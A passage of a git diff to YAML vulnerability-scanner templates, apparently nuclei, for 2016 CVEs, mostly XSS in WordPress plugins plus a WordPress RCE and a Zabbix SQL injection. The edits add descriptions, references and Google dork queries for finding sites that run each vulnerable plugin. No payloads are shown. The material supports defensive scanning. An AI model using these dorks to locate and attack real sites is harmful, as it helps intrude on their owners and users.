http://web.archive.org/web/20210614204644/https://www.securityfocus.com/bid/93892 - https://nvd.nist.gov/vuln/detail/CVE-2016-1000129 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000129 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/defa-online-image-protector" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -34,3 +39,6 @@ requests: - type: status status: - 200 + + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000130.yaml b/cves/2016/CVE-2016-1000130.yaml index aa5fff9bcc..7916bb3e7f 100644 --- a/cves/2016/CVE-2016-1000130.yaml +++ b/cves/2016/CVE-2016-1000130.yaml @@ -1,17 +1,21 @@ id: CVE-2016-1000130 info: - name: e-search <= 1.0 - Reflected Cross-Site Scripting (XSS) via date_select.php + name: WordPress e-search <=1.0 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin e-search v1.0 + description: Wordpress plugin e-search 1.0 and before contains a cross-site scripting vulnerability via date_select.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - https://wordpress.org/plugins/e-search + - http://www.vapidlabs.com/wp/wp_advisory.php?v=394 - https://nvd.nist.gov/vuln/detail/CVE-2016-1000130 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000130 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/e-search" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -34,3 +38,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000131.yaml b/cves/2016/CVE-2016-1000131.yaml index 1da1ce35db..6e0ec4ec01 100644 --- a/cves/2016/CVE-2016-1000131.yaml +++ b/cves/2016/CVE-2016-1000131.yaml @@ -1,17 +1,22 @@ id: CVE-2016-1000131 info: - name: e-search <= 1.0 - Reflected Cross-Site Scripting (XSS) via title_az.php + name: WordPress e-search <=1.0 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin e-search v1.0 + description: WordPress e-search 1.0 and before contains a reflected cross-site scripting vulnerability via title_az.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=393 + - https://wordpress.org/plugins/e-search + - http://web.archive.org/web/20210123183536/https://www.securityfocus.com/bid/93867/ - https://nvd.nist.gov/vuln/detail/CVE-2016-1000131 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000131 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/e-search" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -34,3 +39,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000132.yaml b/cves/2016/CVE-2016-1000132.yaml index d61d51cd09..c45f6ec99c 100644 --- a/cves/2016/CVE-2016-1000132.yaml +++ b/cves/2016/CVE-2016-1000132.yaml @@ -1,17 +1,22 @@ id: CVE-2016-1000132 info: - name: enhanced-tooltipglossary v3.2.8 - Reflected Cross-Site Scripting (XSS) + name: WordPress enhanced-tooltipglossary 3.2.8 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin enhanced-tooltipglossary v3.2.8 + description: WordPress enhanced-tooltipglossary 3.2.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=37 + - https://wordpress.org/plugins/enhanced-tooltipglossary + - http://web.archive.org/web/20210123183532/https://www.securityfocus.com/bid/93865/ - https://nvd.nist.gov/vuln/detail/CVE-2016-1000132 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000132 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/enhanced-tooltipglossary" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -34,3 +39,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000133.yaml b/cves/2016/CVE-2016-1000133.yaml index 7533de545b..3042b76c0f 100644 --- a/cves/2016/CVE-2016-1000133.yaml +++ b/cves/2016/CVE-2016-1000133.yaml @@ -1,17 +1,22 @@ id: CVE-2016-1000133 info: - name: forget-about-shortcode-buttons 1.1.1 - Reflected Cross-Site Scripting (XSS) + name: WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin forget-about-shortcode-buttons v1.1.1 + description: Wordpress plugin forget-about-shortcode-buttons 1.1.1 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - https://wordpress.org/plugins/forget-about-shortcode-buttons + - http://www.vapidlabs.com/wp/wp_advisory.php?v=602 + - http://web.archive.org/web/20210123183542/https://www.securityfocus.com/bid/93869/ - https://nvd.nist.gov/vuln/detail/CVE-2016-1000133 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000133 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/forget-about-shortcode-buttons" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -34,3 +39,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000134.yaml b/cves/2016/CVE-2016-1000134.yaml index 49156b4ad3..f6a6513448 100644 --- a/cves/2016/CVE-2016-1000134.yaml +++ b/cves/2016/CVE-2016-1000134.yaml @@ -1,17 +1,22 @@ id: CVE-2016-1000134 info: - name: HDW WordPress Video Gallery <= 1.2 - Reflected Cross-Site Scripting (XSS) via playlist.php + name: WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin hdw-tube v1.2 + description: WordPress HDW Video Gallery 1.2 and before contains a cross-site scripting vulnerability via playlist.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=530 + - https://wordpress.org/plugins/hdw-tube + - http://web.archive.org/web/20210615135341/https://www.securityfocus.com/bid/93868 - https://nvd.nist.gov/vuln/detail/CVE-2016-1000134 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000134 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/hdw-tube" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -34,3 +39,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000135.yaml b/cves/2016/CVE-2016-1000135.yaml index b14bff7762..b7341b1983 100644 --- a/cves/2016/CVE-2016-1000135.yaml +++ b/cves/2016/CVE-2016-1000135.yaml @@ -1,17 +1,22 @@ id: CVE-2016-1000135 info: - name: HDW WordPress Video Gallery <= 1.2 - Reflected Cross-Site Scripting (XSS) via mychannel.php + name: WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin hdw-tube v1.2 + description: WordPress HDW Video Gallery 1.2 and before contains a cross-site scripting vulnerability via mychannel.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=533 + - https://wordpress.org/plugins/hdw-tube + - http://web.archive.org/web/20210123183240/https://www.securityfocus.com/bid/93820/ - https://nvd.nist.gov/vuln/detail/CVE-2016-1000135 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000135 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/hdw-tube" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -34,3 +39,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000136.yaml b/cves/2016/CVE-2016-1000136.yaml index 51da631926..2606d8cb00 100644 --- a/cves/2016/CVE-2016-1000136.yaml +++ b/cves/2016/CVE-2016-1000136.yaml @@ -1,18 +1,21 @@ id: CVE-2016-1000136 info: - name: heat-trackr v1.0 - XSS via heat-trackr_abtest_add.php + name: WordPress heat-trackr 1.0 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin heat-trackr v1.0 + description: WordPress heat-trackr 1.0 contains a cross-site scripting vulnerability via heat-trackr_abtest_add.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - http://www.vapidlabs.com/wp/wp_advisory.php?v=798 + - https://wordpress.org/plugins/heat-trackr - https://nvd.nist.gov/vuln/detail/CVE-2016-1000136 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000136 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/heat-trackr" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -35,3 +38,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000137.yaml b/cves/2016/CVE-2016-1000137.yaml index 4e3f689a0a..cd7de43aba 100644 --- a/cves/2016/CVE-2016-1000137.yaml +++ b/cves/2016/CVE-2016-1000137.yaml @@ -1,12 +1,15 @@ id: CVE-2016-1000137 info: - name: Hero Maps Pro 2.1.0 - Reflected Cross-Site Scripting (XSS) + name: WordPress Hero Maps Pro 2.1.0 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin hero-maps-pro v2.1.0 + description: WordPress Hero Maps Pro 2.1.0 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - http://www.vapidlabs.com/wp/wp_advisory.php?v=658 + - https://wordpress.org/plugins/hero-maps-pro + - http://web.archive.org/web/20210123183224/https://www.securityfocus.com/bid/93815/ + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000137 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000138.yaml b/cves/2016/CVE-2016-1000138.yaml index 5b988c640b..3d1b416c23 100644 --- a/cves/2016/CVE-2016-1000138.yaml +++ b/cves/2016/CVE-2016-1000138.yaml @@ -1,17 +1,22 @@ id: CVE-2016-1000138 info: - name: Admin Font Editor <= 1.8 - Reflected Cross-Site Scripting (XSS) + name: WordPress Admin Font Editor <=1.8 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin indexisto v1.0.5 + description: WordPress Admin Font Editor plugin indexisto 1.8 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - http://www.vapidlabs.com/wp/wp_advisory.php?v=38 + - https://wordpress.org/plugins/indexisto + - http://web.archive.org/web/20210622181116/ + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000138 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000138 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/indexisto" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -34,3 +39,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000139.yaml b/cves/2016/CVE-2016-1000139.yaml index dd26243a2c..f12cd70647 100644 --- a/cves/2016/CVE-2016-1000139.yaml +++ b/cves/2016/CVE-2016-1000139.yaml @@ -1,19 +1,23 @@ id: CVE-2016-1000139 info: - name: Infusionsoft Gravity Forms Add-on <= 1.5.11 - XSS + name: WordPress Infusionsoft Gravity Forms <=1.5.11 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin infusionsoft v1.5.11 + description: WordPress plugin Infusionsoft 1.5.11 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://wpscan.com/vulnerability/0a60039b-a08a-4f51-a540-59f397dceb6a + - https://wordpress.org/plugins/infusionsoft + - http://www.vapidlabs.com/wp/wp_advisory.php?v=864 - https://nvd.nist.gov/vuln/detail/CVE-2016-1000139 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000139 cwe-id: CWE-79 - tags: cve,cve2016,wordpress,wp-plugin,xss + metadata: + google-query: inurl:"/wp-content/plugins/infusionsoft" + tags: cve,cve2016,wordpress,wp-plugin,xss,wpscan requests: - method: GET @@ -37,3 +41,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000140.yaml b/cves/2016/CVE-2016-1000140.yaml index a9fad16d82..4c24bebc9d 100644 --- a/cves/2016/CVE-2016-1000140.yaml +++ b/cves/2016/CVE-2016-1000140.yaml @@ -1,11 +1,14 @@ id: CVE-2016-1000140 info: - name: New Year Firework <= 1.1.9 - Reflected Cross-Site Scripting (XSS) + name: WordPress New Year Firework <=1.1.9 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin new-year-firework v1.1.9 + description: WordPress New Year Firework 1.1.9 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=453 + - https://wordpress.org/plugins/new-year-firework + - http://web.archive.org/web/20210123183230/https://www.securityfocus.com/bid/93817/ - https://nvd.nist.gov/vuln/detail/CVE-2016-1000140 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000141.yaml b/cves/2016/CVE-2016-1000141.yaml index 5a145c55c7..27b9bd4027 100644 --- a/cves/2016/CVE-2016-1000141.yaml +++ b/cves/2016/CVE-2016-1000141.yaml @@ -1,19 +1,22 @@ id: CVE-2016-1000141 info: - name: WordPress Page Layout builder v1.9.3 - Reflected Cross-Site Scripting + name: WordPress Page Layout builder v1.9.3 - Cross-Site Scripting author: daffainfo severity: medium description: WordPress plugin Page-layout-builder v1.9.3 contains a cross-site scripting vulnerability. reference: - http://www.vapidlabs.com/wp/wp_advisory.php?v=358 - https://nvd.nist.gov/vuln/detail/CVE-2016-1000141 + - https://wordpress.org/plugins/page-layout-builder + remediation: Upgrade to version 2.0 or higher. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000141 cwe-id: CWE-79 - remediation: Upgrade to version 2.0 or higher. + metadata: + google-query: inurl:"/wp-content/plugins/page-layout-builder" tags: cve,cve2016,wordpress,xss,wp-plugin requests: diff --git a/cves/2016/CVE-2016-1000142.yaml b/cves/2016/CVE-2016-1000142.yaml index c1aa662652..b0c809b337 100644 --- a/cves/2016/CVE-2016-1000142.yaml +++ b/cves/2016/CVE-2016-1000142.yaml @@ -1,19 +1,21 @@ id: CVE-2016-1000142 info: - name: MW Font Changer <= 4.2.5 - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting author: daffainfo severity: medium - description: The MW Font Changer WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability. + description: WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://wpscan.com/vulnerability/4ff5d65a-ba61-439d-ab7f-745a0648fccc + - http://www.vapidlabs.com/wp/wp_advisory.php?v=435 + - https://wordpress.org/plugins/parsi-font - https://nvd.nist.gov/vuln/detail/CVE-2016-1000142 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000142 cwe-id: CWE-79 - tags: cve,cve2016,wordpress,wp-plugin,xss + tags: cve2016,wordpress,wp-plugin,xss,wpscan,cve requests: - method: GET @@ -35,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000143.yaml b/cves/2016/CVE-2016-1000143.yaml index d67e4f9833..090c6d4c73 100644 --- a/cves/2016/CVE-2016-1000143.yaml +++ b/cves/2016/CVE-2016-1000143.yaml @@ -1,12 +1,13 @@ id: CVE-2016-1000143 info: - name: Photoxhibit v2.1.8 - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: WordPress Photoxhibit 2.1.8 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin photoxhibit v2.1.8 + description: WordPress Photoxhibit 2.1.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - http://www.vapidlabs.com/wp/wp_advisory.php?v=780 + - https://wordpress.org/plugins/photoxhibit - https://nvd.nist.gov/vuln/detail/CVE-2016-1000143 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -35,3 +36,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000146.yaml b/cves/2016/CVE-2016-1000146.yaml index ba02431c6f..3775d4f585 100644 --- a/cves/2016/CVE-2016-1000146.yaml +++ b/cves/2016/CVE-2016-1000146.yaml @@ -1,11 +1,14 @@ id: CVE-2016-1000146 info: - name: Pondol Form to Mail <= 1.1 - Reflected Cross-Site Scripting (XSS) + name: WordPress Pondol Form to Mail <=1.1 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin pondol-formmail v1.1 + description: WordPress Pondol Form to Mail 1.1 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=787 + - https://wordpress.org/plugins/pondol-formmail + - http://web.archive.org/web/20210615122859/https://www.securityfocus.com/bid/93584 - https://nvd.nist.gov/vuln/detail/CVE-2016-1000146 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000148.yaml b/cves/2016/CVE-2016-1000148.yaml index d084222ec3..fe1ef6ac43 100644 --- a/cves/2016/CVE-2016-1000148.yaml +++ b/cves/2016/CVE-2016-1000148.yaml @@ -1,19 +1,21 @@ id: CVE-2016-1000148 info: - name: S3 Video Plugin <= 0.983 - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: WordPress S3 Video <=0.983 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin s3-video v0.983 + description: WordPress S3 Video and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://wpscan.com/vulnerability/ead796ed-202a-451f-b041-d39c9cf1fb54 + - https://wordpress.org/plugins/s3-video + - http://www.vapidlabs.com/wp/wp_advisory.php?v=240 - https://nvd.nist.gov/vuln/detail/CVE-2016-1000148 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000148 cwe-id: CWE-79 - tags: cve,cve2016,wordpress,wp-plugin,xss + tags: cve,cve2016,wordpress,wp-plugin,xss,wpscan requests: - method: GET @@ -35,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000149.yaml b/cves/2016/CVE-2016-1000149.yaml index b6f8c9e451..9609e2b630 100644 --- a/cves/2016/CVE-2016-1000149.yaml +++ b/cves/2016/CVE-2016-1000149.yaml @@ -1,11 +1,14 @@ id: CVE-2016-1000149 info: - name: Simpel Reserveren 3 <= 3.5.2 - Reflected Cross-Site Scripting (XSS) + name: WordPress Simpel Reserveren <=3.5.2 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin simpel-reserveren v3.5.2 + description: WordPress plugin Simpel Reserveren 3.5.2 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - https://wordpress.org/plugins/simpel-reserveren + - http://www.vapidlabs.com/wp/wp_advisory.php?v=474 + - http://web.archive.org/web/20210125181834/https://www.securityfocus.com/bid/93582/ - https://nvd.nist.gov/vuln/detail/CVE-2016-1000149 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000152.yaml b/cves/2016/CVE-2016-1000152.yaml index 81564defed..3b6e131fe0 100644 --- a/cves/2016/CVE-2016-1000152.yaml +++ b/cves/2016/CVE-2016-1000152.yaml @@ -1,11 +1,14 @@ id: CVE-2016-1000152 info: - name: Tidio-form <= 1.0 - Reflected Cross-Site Scripting (XSS) + name: WordPress Tidio-form <=1.0 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin tidio-form v1.0 + description: WordPress tidio-form1.0 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=799 + - https://wordpress.org/plugins/tidio-form + - http://web.archive.org/web/20210125181732/https://www.securityfocus.com/bid/93579/ - https://nvd.nist.gov/vuln/detail/CVE-2016-1000152 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000153.yaml b/cves/2016/CVE-2016-1000153.yaml index dd76ca2ab8..bca2722d4f 100644 --- a/cves/2016/CVE-2016-1000153.yaml +++ b/cves/2016/CVE-2016-1000153.yaml @@ -1,12 +1,15 @@ id: CVE-2016-1000153 info: - name: Tidio Gallery <= 1.1 - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: WordPress Tidio Gallery <=1.1 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin tidio-gallery v1.1 + description: WordPress plugin tidio-gallery v1.1 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://nvd.nist.gov/vuln/detail/CVE-2016-1000153 + - http://www.vapidlabs.com/wp/wp_advisory.php?v=427 + - https://wordpress.org/plugins/tidio-gallery + - http://web.archive.org/web/20210123180207/https://www.securityfocus.com/bid/93543/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000154.yaml b/cves/2016/CVE-2016-1000154.yaml index f1807d5b58..95e8c20fee 100644 --- a/cves/2016/CVE-2016-1000154.yaml +++ b/cves/2016/CVE-2016-1000154.yaml @@ -1,11 +1,14 @@ id: CVE-2016-1000154 info: - name: WHIZZ <= 1.0.7 - Reflected Cross-Site Scripting (XSS) + name: WordPress WHIZZ <=1.0.7 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin whizz v1.0. + description: WordPress plugin WHIZZ 1.07 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=112 + - https://wordpress.org/plugins/whizz + - http://web.archive.org/web/20210123180140/https://www.securityfocus.com/bid/93538/ - https://nvd.nist.gov/vuln/detail/CVE-2016-1000154 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000155.yaml b/cves/2016/CVE-2016-1000155.yaml index dacd84369d..8b7490465c 100644 --- a/cves/2016/CVE-2016-1000155.yaml +++ b/cves/2016/CVE-2016-1000155.yaml @@ -1,11 +1,14 @@ id: CVE-2016-1000155 info: - name: WPSOLR <= 8.6 - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: WordPress WPSOLR <=8.6 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin wpsolr-search-engine v7.6 + description: WordPress WPSOLR 8.6 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - https://wordpress.org/plugins/wpsolr-search-engine + - http://www.vapidlabs.com/wp/wp_advisory.php?v=303 + - http://web.archive.org/web/20210123180137/https://www.securityfocus.com/bid/93536/ - https://nvd.nist.gov/vuln/detail/CVE-2016-1000155 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-10033.yaml b/cves/2016/CVE-2016-10033.yaml index 6ada2e758e..6f283957ea 100644 --- a/cves/2016/CVE-2016-10033.yaml +++ b/cves/2016/CVE-2016-10033.yaml @@ -8,12 +8,14 @@ info: reference: - https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html - https://nvd.nist.gov/vuln/detail/CVE-2016-10033 + - https://www.exploit-db.com/exploits/40970/ + - https://www.exploit-db.com/exploits/40968/ classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-10033 cwe-id: CWE-77 - tags: wordpress,cve,cve2016,rce + tags: cve,cve2016,rce,edb,wordpress requests: - raw: diff --git a/cves/2016/CVE-2016-10134.yaml b/cves/2016/CVE-2016-10134.yaml index 02d81b2500..38b1ab2065 100644 --- a/cves/2016/CVE-2016-10134.yaml +++ b/cves/2016/CVE-2016-10134.yaml @@ -4,16 +4,18 @@ info: name: Zabbix - SQL Injection author: princechaddha severity: critical - description: "Zabbix before 2.2.14 and 3.0 before 3.0.4 allows remote attackers to execute arbitrary SQL commands via the toggle_ids array parameter in latest.php and perform SQL injection attacks." + description: Zabbix before 2.2.14 and 3.0 before 3.0.4 allows remote attackers to execute arbitrary SQL commands via the toggle_ids array parameter in latest.php and perform SQL injection attacks. reference: - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134 - https://nvd.nist.gov/vuln/detail/CVE-2016-10134 + - https://support.zabbix.com/browse/ZBX-11023 + - https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=850936 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-10134 cwe-id: CWE-89 - tags: cve,cve2016,zabbix,sqli + tags: cve,cve2016,zabbix,sqli,vulhub requests: - 